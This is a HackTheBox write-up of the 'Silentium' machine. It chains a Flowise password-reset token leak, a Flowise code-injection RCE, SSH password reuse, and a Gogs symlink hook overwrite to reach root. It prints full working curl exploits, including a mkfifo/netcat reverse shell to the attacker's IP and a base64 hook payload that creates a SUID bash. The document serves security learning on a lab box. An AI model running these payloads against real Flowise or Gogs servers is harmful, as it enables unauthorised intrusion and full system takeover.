In Silentium, we exploit two Flowise CVEs to reset an admin password and achieve RCE, pivot to Ben via password reuse, then abuse a vulnerable Gogs instance to overwrite hooks and gain root access.
Introduction
In this post, I will demonstrate the exploitation of an easy difficulty machine called "Silentium" on HackTheBox. Overall, it was an enjoyable box offering a nice learning experience.
This box was pwned on June 10, 2026. The writeup was published on September 16, 2026 when the machine retired from the platform.
Step 1: running an Nmap scan on the target
After adding the IP to our hostfile (sudo vim /etc/hosts), I ran an nmap scan of the 1000 most common ports.
┌──(kali㉿kali)-[~] └─$ nmap -sC -sV silentium.htb Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-11 03:29 -0400 Nmap scan report for silentium.htb (10.129.16.202) Host is up (0.011s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA) |_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519) 80/tcp open http nginx 1.24.0 (Ubuntu) |_http-server-header: nginx/1.24.0 (Ubuntu) |_http-title: Silentium | Institutional Capital & Lending Solutions Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.17 seconds
The scan revealed that a web server is running on port 80.
Step 2: Enumerating the webserver
Upon visiting the website running on port 80, I was greeted with a generic page where no obvious potential attack vector could be found.

During further exploration of the page, I found 3 potential users: Marcus Thorne, Ben and Elena Rossi.

Next, I performed a vhost enumeration scan using ffuf:
┌──(kali㉿kali)-[~]
└─$ ffuf -u http://silentium.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H "Host:FUZZ.silentium.htb" -fs 178
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://silentium.htb
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: FUZZ.silentium.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 178
________________________________________________
staging [Status: 200, Size: 3142, Words: 789, Lines: 70, Duration: 15ms]
:: Progress: [19966/19966] :: Job [1/1] :: 3773 req/sec :: Duration: [0:00:05] :: Errors: 0 ::
After adding this newly found vhost to our hostfile and surfing to the page, I was greeted with a Flowise login page:

After some Googling, I quickly found out that Flowise uses an api which could be interesting for further exploration. The first thing I did was enumerate the version of the Flowise instance and look if there were any CVEs:
┌──(kali㉿kali)-[~]
└─$ curl http://staging.silentium.htb/api/v1/version
{"version":"3.0.5"}
Step 3: Gaining access
The Google search revealed that there are 2 known vulnerabilities: CVE-2025-58434 and CVE-2025-59528.
The first CVE (CVE-2025-58434) allows us to perform an unauthenticated password reset because the API leaks a password reset token. The second CVE (CVE-2025-59528) is an RCE vulnerability which requires a valid Bearer token. Therefore, the first CVE (CVE-2025-58434) seems like a solid starting point.
According to the Github advisory page of CVE-2025-58434(Unauthenticated password reset token disclosure). We can send a request to the /api/v1/account/forgot-password endpoint supplying a valid user email upon which the response will leak a valid tempToken which is used for password reset.
As stated in the previous section of this blog post, We found a few users: Marcus Thorne, Ben and Elena Rossi. This means we could potentially guess their email addresses. The one that stuck out to me was Ben as he did not have a last name. Based on previous Hack The Box boxes, I know that email adresses usually have the following format: ben@silentium.htb. Therefore, I tried sending the request to the API using this email address to receive a valid tempToken:
┌──(kali㉿kali)-[~]
└─$ curl -i -X POST http://staging.silentium.htb/api/v1/account/forgot-password \
-H "Content-Type: application/json" \
-d '{"user":{"email":"ben@silentium.htb"}}'
HTTP/1.1 201 Created
Server: nginx/1.24.0 (Ubuntu)
Date: Thu, 11 Jun 2026 08:36:37 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 579
Connection: keep-alive
Vary: Origin
Access-Control-Allow-Credentials: true
ETag: W/"243-Eq0DaIS1NyG8BJ4zZkZ/GuJ/WUk"
{"user":{"id":"e26c9d6c-678c-4c10-9e36-01813e8fea73","name":"admin","email":"ben@silentium.htb","credential":"$2a$05$6o1ngPjXiRj.EbTK33PhyuzNBn2CLo8.b0lyys3Uht9Bfuos2pWhG","tempToken":"thIyVRpDai37TolDkRUMtevLu2OM3wPIG94vIBta597Qn2CR52veIyn867QGakwt","tokenExpiry":"2026-06-11T08:51:37.844Z","status":"active","createdDate":"2026-01-29T20:14:57.000Z","updatedDate":"2026-06-11T08:36:37.000Z","createdBy":"e26c9d6c-678c-4c10-9e36-01813e8fea73","updatedBy":"e26c9d6c-678c-4c10-9e36-01813e8fea73"},"organization":{},"organizationUser":{},"workspace":{},"workspaceUser":{},"role":{}}
The email provided in the request seemed to be correct as we got a leaked tempToken in the response. Now, we can use the following POST request to reset the password of Ben using this leaked tempToken:
┌──(kali㉿kali)-[~]
└─$ curl -i -X POST http://staging.silentium.htb/api/v1/account/reset-password \
-H "Content-Type: application/json" \
-d '{
"user":{
"email":"ben@silentium.htb",
"tempToken":"thIyVRpDai37TolDkRUMtevLu2OM3wPIG94vIBta597Qn2CR52veIyn867QGakwt",
"password":"Test_01!"
}
}'
HTTP/1.1 201 Created
Server: nginx/1.24.0 (Ubuntu)
Date: Thu, 11 Jun 2026 08:40:08 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 493
Connection: keep-alive
Vary: Origin
Access-Control-Allow-Credentials: true
ETag: W/"1ed-BhWcT8vL/vmzaju1b/cZysFWUSg"
{"user":{"id":"e26c9d6c-678c-4c10-9e36-01813e8fea73","name":"admin","email":"ben@silentium.htb","credential":"$2a$05$Jn7/RHbykn0mH4xMPRjMZuXRmBoijGNZYl2uvKNKjTUbVOZhCbDMG","tempToken":"","tokenExpiry":null,"status":"active","createdDate":"2026-01-29T20:14:57.000Z","updatedDate":"2026-06-11T08:40:08.000Z","createdBy":"e26c9d6c-678c-4c10-9e36-01813e8fea73","updatedBy":"e26c9d6c-678c-4c10-9e36-01813e8fea73"},"organization":{},"organizationUser":{},"workspace":{},"workspaceUser":{},"role":{}}
Now, we can login into the Flowise web portal as Ben using the newly set password.

Under the "API Keys" section, we can find the API key needed to perform the second CVE ((CVE-2025-58434)).

This CVE, CVE-2025-59528, is an RCE vulnerability which is executed through an authenticated POST request. The full details can be found here: Flowise RCE
The vulnerability can be easily exploited through a POST request in which we insert our reverse shell payload (dont forget to add your API key as Bearer token). First, don't forget to open a netcat listener:
┌──(kali㉿kali)-[~] └─$ nc -lnvp 9999 listening on [any] 9999 ...
Next, send the POST request with the reverse shell payload and receive a shell:
┌──(kali㉿kali)-[~]
└─$ curl -X POST http://staging.silentium.htb/api/v1/node-load-method/customMCP \
-H "Content-Type: application/json" \
-H "Authorization: Bearer hWp_8jB76zi0VtKSr2d9TfGK1fm6NuNPg1uA-8FsUJc" \
-d '{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.91 9999 >/tmp/f\");return 1;})()})"
}
}'
In our netcat listener, we received a shell as root which hints that we are in some sort of container:
┌──(kali㉿kali)-[~] └─$ nc -lnvp 9999 listening on [any] 9999 ... connect to [10.10.15.91] from (UNKNOWN) [10.129.16.202] 44259 /bin/sh: can't access tty; job control turned off / # whoami root / #
Step 3: Lateral privilege escalation to Ben
After landing a shell in the container, I checked the environment variables which exposed a few passwords:
/ # env FLOWISE_PASSWORD=F1l3_d0ck3r ALLOW_UNAUTHORIZED_CERTS=true NODE_VERSION=20.19.4 HOSTNAME=c78c3cceb7ba YARN_VERSION=1.22.22 SMTP_PORT=1025 SHLVL=4 PORT=3000 HOME=/root SENDER_EMAIL=ben@silentium.htb PUPPETEER_EXECUTABLE_PATH=/usr/bin/chromium-browser JWT_ISSUER=ISSUER JWT_AUTH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD LLM_PROVIDER=nvidia-nim SMTP_USERNAME=test SMTP_SECURE=false TERM=xterm JWT_REFRESH_TOKEN_EXPIRY_IN_MINUTES=43200 FLOWISE_USERNAME=ben PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin DATABASE_PATH=/root/.flowise JWT_TOKEN_EXPIRY_IN_MINUTES=360 JWT_AUDIENCE=AUDIENCE SECRETKEY_PATH=/root/.flowise PWD=/ SMTP_PASSWORD=r04D!!_R4ge NVIDIA_NIM_LLM_MODE=managed SMTP_HOST=mailhog JWT_REFRESH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD SMTP_USER=test
Could it be that Ben made the mistake to reuse passwords? To test this, I tried logging in using ssh using the SMTP password.
┌──(kali㉿kali)-[~]
└─$ ssh ben@silentium.htb
The authenticity of host 'silentium.htb (10.129.16.202)' can't be established.
ED25519 key fingerprint is: SHA256:OZNUeTZ9jastNKKQ1tFXatbeOZzSFg5Dt7nhwhjorR0
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:21: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'silentium.htb' (ED25519) to the list of known hosts.
ben@silentium.htb's password:
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-107-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Thu Jun 11 09:00:13 AM UTC 2026
System load: 0.0
Usage of /: 83.0% of 13.37GB
Memory usage: 19%
Swap usage: 0%
Processes: 234
Users logged in: 0
IPv4 address for eth0: 10.129.16.202
IPv6 address for eth0: dead:beef::a0de:adff:febf:1c61
Expanded Security Maintenance for Applications is not enabled.
68 updates can be applied immediately.
52 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
1 additional security update can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Wed Apr 8 19:12:55 2026 from 10.10.14.5
ben@silentium:~$
Seems we are in luck! It works! Here, we can capture the user flag.
ben@silentium:~$ ls user.txt
Step 4: Privilege escalation to root
Viewing the active sockets on the box, I saw that there were some local services running on the box. Putting things together with the content of the environment variables in the docker container, it wasn't hard to realise there is a local open source SMTP service running called Mailhog on port 1025 which according to it's Github page also start a http server on port 8025 (Mailhog SMTP server Github).
This website can be easily forwarded to our local machine:
┌──(kali㉿kali)-[~] └─$ ssh -L 8025:127.0.0.1:8025 ben@silentium.htb
As a result, we can access the service in the browser by navigating to http://localhost:8025

However, After some exploration, this seemed like a dead end so I decided to look for ways to get to root.
looking back at the active sockets on the machine, there also seemed to run an interesting service on port 3000 and 3001. Therefore, I forwarded port 3001 to my local machine:
──(kali㉿kali)-[~] └─$ ssh -L 3001:127.0.0.1:3001 ben@silentium.htb
Upon visiting "http://localhost:3001", I was greeted with a selfhosted Github alternative called "Gogs". After some Googling it was vulnerable to CVE-2025-81110 which allows us to overwrite a Gogs hook with custom code through a symlink (Gogs CVE-2025-81110).

Next, register an account:

Then, make an API token:

Also create an empty repository:

Initialize the repo:
┌──(kali㉿kali)-[~/Documents/silentium] └─$ git init hint: Using 'master' as the name for the initial branch. This default branch name hint: will change to "main" in Git 3.0. To configure the initial branch name hint: to use in all of your new repositories, which will suppress this warning, hint: call: hint: hint: git config --global init.defaultBranch <name> hint: hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and hint: 'development'. The just-created branch can be renamed via this command: hint: hint: git branch -m <name> hint: hint: Disable this message with "git config set advice.defaultBranchName false" Initialized empty Git repository in /home/kali/Documents/silentium/.git/ ┌──(kali㉿kali)-[~/Documents/silentium] └─$ git remote add origin http://localhost:3001/test/pwn.git
Craft a symlink that points to the Gogs hook:
┌──(kali㉿kali)-[~/Documents/silentium] └─$ ln -s /root/gogs-repositories/test/pwn.git/hooks/pre-receive evil_link
Push the symlink to the repo:
┌──(kali㉿kali)-[~/Documents/silentium]
└─$ git add evil_link
┌──(kali㉿kali)-[~/Documents/silentium]
└─$ git commit -m "init"
[master (root-commit) 4a1e8db] init
1 file changed, 1 insertion(+)
create mode 120000 evil_link
┌──(kali㉿kali)-[~/Documents/silentium]
└─$ git push origin master
Enumerating objects: 3, done.
Counting objects: 100% (3/3), done.
Delta compression using up to 4 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 244 bytes | 244.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
Username for 'http://localhost:3001': test
Password for 'http://test@localhost:3001':
To http://localhost:3001/test/pwn.git
* [new branch] master -> master
Next, perform the following request to get the SHA hash of the evil_link file:
┌──(kali㉿kali)-[~/Documents/silentium]
└─$ curl http://localhost:3001/api/v1/repos/test/pwn/contents?ref=master \
-H "Authorization: token 14155c26ef459e443271d28520252d60652bdb06"
[{"type":"symlink","target":"/root/gogs-repositories/test/pwn.git/hooks/pre-receive","size":54,"name":"evil_link","path":"evil_link","sha":"b57bcea4edb6abe2fecafa4f99a09d63bbf78e9e","url":"http://staging-v2-code.dev.silentium.htb:3001/api/v1/repos/test/pwn/contents/evil_link","git_url":"","html_url":"http://staging-v2-code.dev.silentium.htb:3001/test/pwn/src/master/evil_link","download_url":"http://staging-v2-code.dev.silentium.htb:3001/test/pwn/raw/master/evil_link","_links":{"git":"","self":"http://staging-v2-code.dev.silentium.htb:3001/api/v1/repos/test/pwn/contents/evil_link","html":"http://staging-v2-code.dev.silentium.htb:3001/test/pwn/src/master/evil_link"}}]
Now, we need to modify the contents of the evil_link symlink. Because it points to the hook, the hook gets overriden.
┌──(kali㉿kali)-[~/Documents/silentium]
└─$ curl -X PUT http://localhost:3001/api/v1/repos/test/pwn/contents/evil_link \
-H "Authorization: token 14155c26ef459e443271d28520252d60652bdb06" \
-H "Content-Type: application/json" \
-d '{
"message": "update",
"sha": "b57bcea4edb6abe2fecafa4f99a09d63bbf78e9e",
"content": "IyEvYmluL2Jhc2gKY3AgL2Jpbi9iYXNoIC90bXAvcm9vdGJhc2gKY2htb2QgNDc1NSAvdG1wL3Jvb3RiYXNo"
}'
{"commit":{"url":"http://staging-v2-code.dev.silentium.htb:3001/api/v1/repos/test/pwn/contents/evil_link","sha":"49effafd3fbdccfcef6835e2d2ae822215d4909f","html_url":"http://staging-v2-code.dev.silentium.htb:3001/test/pwn/commits/49effafd3fbdccfcef6835e2d2ae822215d4909f","commit":{"url":"http://staging-v2-code.dev.silentium.htb:3001/api/v1/repos/test/pwn/contents/evil_link","author":{"name":"test","email":"test@test.com","date":"2026-06-11T10:14:46Z"},"committer":{"name":"test","email":"test@test.com","date":"2026-06-11T10:14:46Z"},"message":"init","tree":{"url":"http://staging-v2-code.dev.silentium.htb:3001/api/v1/repos/test/pwn/tree/49effafd3fbdccfcef6835e2d2ae822215d4909f","sha":"49effafd3fbdccfcef6835e2d2ae822215d4909f"}},"author":{"id":2,"username":"test","login":"test","full_name":"","email":"test@test.com","avatar_url":"https://secure.gravatar.com/avatar/b642b4217b34b1e8d3bd915fc65c4452?d=identicon"},"committer":{"id":2,"username":"test","login":"test","full_name":"","email":"test@test.com","avatar_url":"https://secure.gravatar.com/avatar/b642b4217b34b1e8d3bd915fc65c4452?d=identicon"},"parents":[{"url":"http://staging-v2-code.dev.silentium.htb:3001/api/v1/repos/test/pwn/commits/4a1e8db4d7a0c4205c5decf1c2d33c1d905b7ade","sha":"4a1e8db4d7a0c4205c5decf1c2d33c1d905b7ade"}]},"content":{"type":"symlink","target":"/root/gogs-repositories/test/pwn.git/hooks/pre-receive","size":54,"name":"evil_link","path":"evil_link","sha":"b57bcea4edb6abe2fecafa4f99a09d63bbf78e9e","url":"http://staging-v2-code.dev.silentium.htb:3001/api/v1/repos/test/pwn/contents/evil_link","git_url":"","html_url":"http://staging-v2-code.dev.silentium.htb:3001/test/pwn/src/master/evil_link","download_url":"http://staging-v2-code.dev.silentium.htb:3001/test/pwn/raw/master/evil_link","_links":{"git":"","self":"http://staging-v2-code.dev.silentium.htb:3001/api/v1/repos/test/pwn/contents/evil_link","html":"http://staging-v2-code.dev.silentium.htb:3001/test/pwn/src/master/evil_link"}}}
Note that the content parameter in the request contains the actual payload that is base64 encoded and translates to this:
#!/bin/bash cp /bin/bash /tmp/rootbash chmod 4755 /tmp/rootbash
It is essentially a script with whom the hook gets overwritten with. The script copies the bash binary with SUID privileges meaning anyone can execute it as it's file owner (=root).
The hook is now overwritten with our malicious script. So the last thing we need to do is make sure the hook executes. This can be done by pushing any random file as the hook is always automatically executed when pushing a file.
┌──(kali㉿kali)-[~/Documents/silentium] └─$ echo "pwnd" > pwnd.txt ┌──(kali㉿kali)-[~/Documents/silentium] └─$ git add pwnd.txt ┌──(kali㉿kali)-[~/Documents/silentium] └─$ git commit -m "pwnd" [master 730ed85] pwnd 1 file changed, 1 insertion(+) create mode 100644 pwnd.txt ┌──(kali㉿kali)-[~/Documents/silentium] └─$ git push origin master Enumerating objects: 4, done. Counting objects: 100% (4/4), done. Delta compression using up to 4 threads Compressing objects: 100% (2/2), done. Writing objects: 100% (3/3), 265 bytes | 265.00 KiB/s, done. Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0) Username for 'http://localhost:3001': test Password for 'http://test@localhost:3001': To http://localhost:3001/test/pwn.git 49effaf..730ed85 master -> master
To get root, we need to go back to the box and execute our rootbash SUID binary (don't forget the -p flag or privileges will be dropped):
ben@silentium:/tmp$ ./rootbash -p rootbash-5.2# whoami root rootbash-5.2# ls /root gogs-repositories root.txt rootbash-5.2#
Congratulations, you have succesfully rooted this box!
Extra: Explanation of CVE-2025-59528
Note: I'm no Javascript expert but I will do my best to explain the vulnerability in this section.
This is the actual vulnerable code:
// Line 262–270
function convertToValidJSONString(inputString: string) {
try {
const jsObject = Function('return ' + inputString)()
return JSON.stringify(jsObject, null, 2)
} catch (error) {
console.error('Error converting to JSON:', error)
return ''
}
}
Specifically, the line with the "Function()" constructor. It constructs a new JS function with the user's string as the body and immediately calls it. This means that whatever JavaScript is in inputString will run with full Node.js privileges.
Thus if we supply the payload of the POC as the inputString variable, this happens (the commented out lines are the contents of the inputString variable):
function convertToValidJSONString(inputString: string) {
try {
// inputString is the attacker payload — pasted in literally:
// Function('return ({x:(function(){
// const cp=process.mainModule.require("child_process");
// cp.execSync("echo !!RCE-OK!! >/tmp/RCE.txt");
// return 1;
// })()} )')
const jsObject = Function('return ' + inputString)() // ← eval() in disguise
return JSON.stringify(jsObject, null, 2)
} catch (error) { ... }
}
So when we effectively replace the inputString with the payload, this is what is run at runtime:
// what the runtime effectively runs:
Function(`return ({x:(function(){
const cp = process.mainModule.require("child_process");
cp.execSync("echo !!RCE-OK!! >/tmp/RCE.txt");
return 1;
})()})`)()
As this creates a custom function and immediately calls it, our code gets executed with the privileges of the Node.js process.
Extra: Explanation of hooks and CVE-2025-81110
Gogs executes hook scripts automatically when certain repository
events occur. The hook we target here is pre-receive, which runs every
time a commit is pushed to the repository. Since Gogs runs as root, anything the
hook executes runs with full root privileges.
The vulnerability lies in the fact that Gogs does not validate the filetype of
files uploaded to a repository. This allows us to push a symlink,
a file that acts as a pointer to another location on the filesystem. We create a
symlink called evil_link that points directly to the
pre-receive hook file on disk.
With that pointer in place, we use the Gogs API to write a malicious script into
evil_link. Because it is a symlink, the OS transparently redirects the
write to the actual hook file. Gogs never realizes the target was outside the
repository.
The hook is now replaced with our custom script, which creates a SUID copy of
/bin/bash at /tmp/rootbash. The next time we push anything
to the repository, Gogs fires the hook, our script executes as root, and we can
escalate privileges by running:
/tmp/rootbash -p
Final thoughts
Overall, This was a nice and easy box which I thoroughly enjoyed solving. The privilege escalation through Gogs was a bit hard when doing it manually. It took a while before I realized what a hook was and how a symlink could first point at the hook to eventually overwrite it and replace it with a custom script to spawn a SUID bash binary in the /tmp directory. I feel like I have learned a lot by doing this step manually instead of relying on a premade POC.